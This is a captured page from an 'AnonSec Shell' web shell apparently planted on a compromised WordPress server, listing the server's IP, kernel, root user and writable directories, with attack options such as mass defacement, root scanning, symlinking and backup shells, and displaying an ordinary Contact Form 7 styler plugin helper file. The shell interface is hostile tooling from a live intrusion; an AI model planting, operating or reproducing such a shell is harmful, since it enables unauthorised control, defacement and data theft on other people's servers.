AnonSec Shell
Server IP : 172.67.157.199  /  Your IP : 18.217.182.67   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/wp-content/plugins/cf7-styler/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/wp-content/plugins/cf7-styler/includes/functions.php
<?php

/**
 * Helpers library functions
 *
 * @since      0.0.1
 *
 * @package    Wtsr
 * @subpackage Wtsr/includes
 */

if ( ! defined( 'ABSPATH' ) ) exit;

/**
 * @version 0.0.1
 * @since   0.0.1
 * @return  bool
 */
function cf7cstmzr_is_plugin_activated( $plugin_folder, $plugin_file ) {
    if ( cf7cstmzr_is_plugin_active_simple( $plugin_folder . '/' . $plugin_file ) ) {
        return true;
    } else {
        return cf7cstmzr_is_plugin_active_by_file( $plugin_file );
    }
}

/**
 * @version 0.0.1
 * @since   0.0.1
 * @return  bool
 */
function cf7cstmzr_is_plugin_active_simple( $plugin ) {
    return (
        in_array( $plugin, apply_filters( 'active_plugins', get_option( 'active_plugins', array() ) ) ) ||
        ( is_multisite() && array_key_exists( $plugin, get_site_option( 'active_sitewide_plugins', array() ) ) )
    );
}

/**
 * @version 0.0.1
 * @since   0.0.1
 * @return  bool
 */
function cf7cstmzr_is_plugin_active_by_file( $plugin_file ) {
    foreach ( cf7cstmzr_get_active_plugins() as $active_plugin ) {
        $active_plugin = explode( '/', $active_plugin );

        if ( isset( $active_plugin[1] ) && $plugin_file === $active_plugin[1] ) {
            return true;
        }
    }

    return false;
}

/**
 * @version 0.0.1
 * @since   0.0.1
 * @return  array
 */
function cf7cstmzr_get_active_plugins() {
    $active_plugins = apply_filters( 'active_plugins', get_option( 'active_plugins', array() ) );
    if ( is_multisite() ) {
        $active_plugins = array_merge( $active_plugins, array_keys( get_site_option( 'active_sitewide_plugins', array() ) ) );
    }
    return $active_plugins;
}

/**
 * @param $notice
 * @param $level
 */
function cf7cstmzr_show_notice($notice, $level) {
    include_once CF7CSTMZR_PLUGIN_PATH . 'admin/partials/notices' . $notice . '.php';
}

Anon7 - 2022
AnonSec Team